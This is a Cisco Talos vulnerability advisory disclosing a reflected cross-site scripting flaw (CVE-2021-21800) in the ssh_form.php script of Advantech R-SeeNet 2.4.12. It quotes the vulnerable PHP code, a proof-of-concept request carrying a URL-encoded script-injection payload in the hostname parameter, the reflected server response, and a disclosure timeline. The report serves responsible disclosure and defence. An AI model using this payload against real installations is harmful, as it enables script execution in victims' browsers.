Talos Vulnerability Report

TALOS-2021-1271

Advantech R-SeeNet ssh_form.php Reflected XSS vulnerability

JULY 15, 2021

CVE NUMBER

CVE-2021-21800

Summary

Cross-site scripting vulnerabilities exist in the ssh_form.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). If a user visits a specially crafted URL, it can lead to arbitrary JavaScript code execution in the context of the targeted user's browser. An attacker can provide a crafted URL to trigger this vulnerability.

Tested Versions

Advantech R-SeeNet 2.4.12 (20.10.2020)

Product URLs

https://ep.advantech-bb.cz/products/software/r-seenet

CVSSv3 Score

9.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

This vulnerability is present in ssh_form.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.

The ssh_form.php script accepts `hostname` parameter coming from the user via a HTTP request:

```
php/ssh_form.php
Line 9    if(isset($_GET['hostname']) && ($_GET['hostname'] != ''))
Line 10   {  // hostname zadano
Line 11          $hostname = $_GET['hostname'];
Line 12   }
```

The parameter is not sanitized in a context of XSS payload and further is embedded into a HTML code :

```
Line 42     <title>SSH Session <?php echo($hostname)?></title>
(...)
Line 63         <param name="jcterm.destinations"  value="root@<?php echo $hostname?>">
```

Request example

```
GET /php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(1)%3C/script%3E%3Ctitle%3E HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

Response

```
HTTP/1.1 200 OK
Date: Fri, 05 Mar 2021 15:39:09 GMT
Server: Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.5
X-Powered-By: PHP/5.3.5
Content-Length: 1455
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
  <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <meta name="description" content="TODO - info">
        <meta http-equiv="pragma" content="no-cache">
        <meta http-equiv="cache-control" content="no-cache">
        <title>SSH Session </title><script>alert(1)</script>
```

The victim does not need to be logged-in to be affected by this vulnerability.

Timeline

2021-03-11 - Initial contact with vendor

2021-03-14 - Advisory issued to CISA

2021-04-13 - Follow up with vendor & CISA

2021-06-07 - Follow up with vendor & CISA (no response)

2021-06-22 - Final 90 day notice issued

2021-07-15 - Public disclosure

CREDIT

Member of the Cisco Talos team

VULNERABILITY REPORTS

PREVIOUS REPORT TALOS-2021-1270

NEXT REPORT TALOS-2021-1272